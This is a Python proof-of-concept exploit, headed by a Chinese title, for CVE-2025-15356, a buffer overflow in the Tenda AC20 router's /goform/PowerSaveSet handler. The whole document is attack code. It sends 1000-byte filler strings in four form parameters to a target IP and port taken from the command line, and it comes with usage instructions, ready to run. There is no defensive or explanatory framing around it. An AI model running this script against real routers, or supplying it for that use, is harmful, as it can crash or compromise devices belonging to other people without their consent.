CVE-2025-15356 Tenda AC20路由器/goform/PowerSaveSet缓冲区溢出漏洞

# CVE-2025-15356 PoC - Tenda AC20 Buffer Overflow in /goform/PowerSaveSet import requests import sys def exploit_tenda_ac20(target_ip, target_port=80): """ Exploit for CVE-2025-15356: Buffer overflow in Tenda AC20 /goform/PowerSaveSet Target: Tenda AC20 router with firmware <= 16.03.08.12 """ url = f"http://{target_ip}:{target_port}/goform/PowerSaveSet" # Buffer overflow payload - long string to overflow the buffer # Adjust the length based on target firmware overflow_length = 1000 overflow_payload = "A" * overflow_length # Construct malicious parameters data = { "powerSavingEn": overflow_payload, "time": overflow_payload, "powerSaveDelay": overflow_payload, "ledCloseType": overflow_payload } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {overflow_length} bytes per parameter") response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15356.py <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_tenda_ac20(target_ip, target_port)